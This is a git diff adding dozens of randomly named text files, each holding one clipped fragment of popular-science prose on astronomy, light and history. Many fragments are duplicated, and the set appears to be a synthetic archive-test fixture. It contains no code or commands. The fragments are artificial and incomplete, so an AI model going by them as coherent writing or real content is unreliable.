diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_upewbeudroccdu.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_upewbeudroccdu.txt
new file mode 100644
index 0000000..86b9fa2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_upewbeudroccdu.txt
@@ -0,0 +1 @@
+objects are so far away that the finite speed of light becomes important. If you are looking
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_utvsnixbuayzz.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_utvsnixbuayzz.txt
new file mode 100644
index 0000000..86b9fa2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_utvsnixbuayzz.txt
@@ -0,0 +1 @@
+objects are so far away that the finite speed of light becomes important. If you are looking
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_wfnedsqvddzrqlkwdlyahvll.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_wfnedsqvddzrqlkwdlyahvll.txt
new file mode 100644
index 0000000..86b9fa2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_wfnedsqvddzrqlkwdlyahvll.txt
@@ -0,0 +1 @@
+objects are so far away that the finite speed of light becomes important. If you are looking
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_xdbaoytwqmxlsbezs.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_xdbaoytwqmxlsbezs.txt
new file mode 100644
index 0000000..86b9fa2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_xdbaoytwqmxlsbezs.txt
@@ -0,0 +1 @@
+objects are so far away that the finite speed of light becomes important. If you are looking
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_xuyeaucdpedblozbfewvdoa.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_xuyeaucdpedblozbfewvdoa.txt
new file mode 100644
index 0000000..86b9fa2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/file_xuyeaucdpedblozbfewvdoa.txt
@@ -0,0 +1 @@
+objects are so far away that the finite speed of light becomes important. If you are looking
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/iboeuoqkvzbxd.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/iboeuoqkvzbxd.txt
new file mode 100644
index 0000000..13b4778
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/iboeuoqkvzbxd.txt
@@ -0,0 +1 @@
+lead to suitable remedies. Could it be that we are so interested in spaceflight because it is a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/iefdoekus.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/iefdoekus.txt
new file mode 100644
index 0000000..24eef1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/iefdoekus.txt
@@ -0,0 +1 @@
+In the vast spaces between the planets there are many objects, some rocky, some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/kbrocckvl.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/kbrocckvl.txt
new file mode 100644
index 0000000..678e6dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/kbrocckvl.txt
@@ -0,0 +1 @@
+A million years is a great many. If an advanced civilization were to arrive in our solar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/mqvomopxdpmoipldlsxsmjg.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/mqvomopxdpmoipldlsxsmjg.txt
new file mode 100644
index 0000000..01b9072
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/mqvomopxdpmoipldlsxsmjg.txt
@@ -0,0 +1 @@
+the evolution of the genetic code, although I think this unlikely over billions of years of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/mxpntnhvxdypifvlpastyo.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/mxpntnhvxdypifvlpastyo.txt
new file mode 100644
index 0000000..67bdd69
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/mxpntnhvxdypifvlpastyo.txt
@@ -0,0 +1 @@
+ultraviolet light, inducing a lovely red and blue fluorescence extending beyond the orbit of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/pvqnyhmvt.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/pvqnyhmvt.txt
new file mode 100644
index 0000000..5adcb0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/pvqnyhmvt.txt
@@ -0,0 +1 @@
+at it, there it is.’ The most sensitive part of the retina is not at the center of the field of view.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/rndizsxulhmgdetpemrlg.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/rndizsxulhmgdetpemrlg.txt
new file mode 100644
index 0000000..a460b05
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/rndizsxulhmgdetpemrlg.txt
@@ -0,0 +1 @@
+nucleic acids. But even in ordering these building blocks into long-chain molecules, there
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/ruzvypres.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/ruzvypres.txt
new file mode 100644
index 0000000..dfa49e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/ruzvypres.txt
@@ -0,0 +1 @@
+length of its day - how long it takes Venus to spin once on its axis. It turns out that, with
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/tdxokspmdwm.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/tdxokspmdwm.txt
new file mode 100644
index 0000000..a170d7c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/tdxokspmdwm.txt
@@ -0,0 +1 @@
+dangerous. Preliminary radar surveys suggested that as much as a quarter to a third of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/uubmzbjxwonxlkzom.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/uubmzbjxwonxlkzom.txt
new file mode 100644
index 0000000..0b671b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/uubmzbjxwonxlkzom.txt
@@ -0,0 +1 @@
+message, intended to be understood by an emerging civilization; should be easy to decode.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/vhiolcurzycxck.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/vhiolcurzycxck.txt
new file mode 100644
index 0000000..f4e8982
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/vhiolcurzycxck.txt
@@ -0,0 +1 @@
+- Enuma Elish, Sumer, c. 2500 B.C.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/vouqqmhka.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/vouqqmhka.txt
new file mode 100644
index 0000000..0787e79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/vouqqmhka.txt
@@ -0,0 +1 @@
+stream of tiny particles. He thought that red light was composed of the largest particles and violet the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/webpvztednctgnklilcnpsa.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/webpvztednctgnklilcnpsa.txt
new file mode 100644
index 0000000..2adfca2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/webpvztednctgnklilcnpsa.txt
@@ -0,0 +1 @@
+between spiral arms.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/wjphvexvgcorvroezztfln.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/wjphvexvgcorvroezztfln.txt
new file mode 100644
index 0000000..ca27cf2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/wjphvexvgcorvroezztfln.txt
@@ -0,0 +1 @@
+Ionian science, although not in politics and religion, and a fair amount of courageous free
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/wnkygiwwlzpxcmrb.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/wnkygiwwlzpxcmrb.txt
new file mode 100644
index 0000000..d072434
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/wnkygiwwlzpxcmrb.txt
@@ -0,0 +1 @@
+planets near the star; or a Jovian planet may accrete so much gas and dust as to become a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/yvbzjyacmejhm.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/yvbzjyacmejhm.txt
new file mode 100644
index 0000000..3a6d2b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/yvbzjyacmejhm.txt
@@ -0,0 +1 @@
+first nuclear weapons were profoundly distressed about the demon they had let loose on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/zjtytoljppaiukuvevni.txt b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/zjtytoljppaiukuvevni.txt
new file mode 100644
index 0000000..2bcb245
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/folder_ciinwksnzo/folder_bomnvnzfcj/folder_cxccmvdzkc/zjtytoljppaiukuvevni.txt
@@ -0,0 +1 @@
+man, a narrative handed down by word of mouth only. The Tlingit possessed no written
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_fxuserbdxubnde.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_fxuserbdxubnde.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_fxuserbdxubnde.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_fxziorlinnnwbxncsvffrqjl.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_fxziorlinnnwbxncsvffrqjl.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_fxziorlinnnwbxncsvffrqjl.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_gwdypdzhtlx.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_gwdypdzhtlx.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_gwdypdzhtlx.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_huojblhyrvscbaiay.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_huojblhyrvscbaiay.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_huojblhyrvscbaiay.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_igfesvrvpcoxqwox.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_igfesvrvpcoxqwox.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_igfesvrvpcoxqwox.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_jtcgnbcvhllpglcgttpt.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_jtcgnbcvhllpglcgttpt.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_jtcgnbcvhllpglcgttpt.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_psulaasfagphfdwxdqlrmnv.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_psulaasfagphfdwxdqlrmnv.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_psulaasfagphfdwxdqlrmnv.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_qvjgvfwkrosyvipnbneufx.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_qvjgvfwkrosyvipnbneufx.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_qvjgvfwkrosyvipnbneufx.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_rkxrbtoi.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_rkxrbtoi.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_rkxrbtoi.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_rlsmcplpt.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_rlsmcplpt.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_rlsmcplpt.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_sfqegpaubhlacaoxcuepizi.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_sfqegpaubhlacaoxcuepizi.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_sfqegpaubhlacaoxcuepizi.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_welwrwdhughqzjaizlwof.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_welwrwdhughqzjaizlwof.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_welwrwdhughqzjaizlwof.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_wywjzglfggolkwvl.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_wywjzglfggolkwvl.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_wywjzglfggolkwvl.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_ycykqfrubndoanwwzepahvh.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_ycykqfrubndoanwwzepahvh.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_ycykqfrubndoanwwzepahvh.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/file_yultpkqwbugxxvvdpzqlei.txt b/big_zip/big-zip-files/folder_ykefifmclf/file_yultpkqwbugxxvvdpzqlei.txt
new file mode 100644
index 0000000..59a6af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/file_yultpkqwbugxxvvdpzqlei.txt
@@ -0,0 +1 @@
+gods of the merchants. The Dutch, whose economy was based on private profit,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_bucpqpsyvicmyutjbl.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_bucpqpsyvicmyutjbl.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_bucpqpsyvicmyutjbl.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_desyonwohqruukzsfluxpeng.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_desyonwohqruukzsfluxpeng.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_desyonwohqruukzsfluxpeng.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_gridksccxczrgf.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_gridksccxczrgf.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_gridksccxczrgf.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_gvnaqckcggghwx.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_gvnaqckcggghwx.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_gvnaqckcggghwx.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_jpsihnqrxt.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_jpsihnqrxt.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_jpsihnqrxt.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_kzdhcipq.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_kzdhcipq.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_kzdhcipq.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_lqgepbpnjrmgnnyt.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_lqgepbpnjrmgnnyt.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_lqgepbpnjrmgnnyt.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_mhbbyyqlmpjuqvfezjvc.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_mhbbyyqlmpjuqvfezjvc.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_mhbbyyqlmpjuqvfezjvc.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_nwtlzvbwexawtavaezs.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_nwtlzvbwexawtavaezs.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_nwtlzvbwexawtavaezs.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_nwuudiasprxy.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_nwuudiasprxy.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_nwuudiasprxy.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_ogdvcbfvomkmhqfcm.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_ogdvcbfvomkmhqfcm.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_ogdvcbfvomkmhqfcm.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_ojarrfdjkevtuojrry.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_ojarrfdjkevtuojrry.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_ojarrfdjkevtuojrry.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_ooaapiic.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_ooaapiic.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_ooaapiic.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_owvwbzhthuxvq.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_owvwbzhthuxvq.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_owvwbzhthuxvq.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_pggxbkxvxrsbifclvl.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_pggxbkxvxrsbifclvl.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_pggxbkxvxrsbifclvl.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_sgolluivuavcubcauqcv.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_sgolluivuavcubcauqcv.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_sgolluivuavcubcauqcv.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_widaaqdhcriopmicomv.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_widaaqdhcriopmicomv.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_widaaqdhcriopmicomv.txt
@@ -0,0 +1 @@
+distant ridge was a crater rampart. And not so very far to the southeast, I knew, were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_xxxewodneimyga.txt b/big_zip/big-zip-files/folder_ykefifmclf/folder_jvrufoauxz/file_xxxewodneimyga.txt
new file mode 100644
index 0000000..26db0d6
--- /dev/null
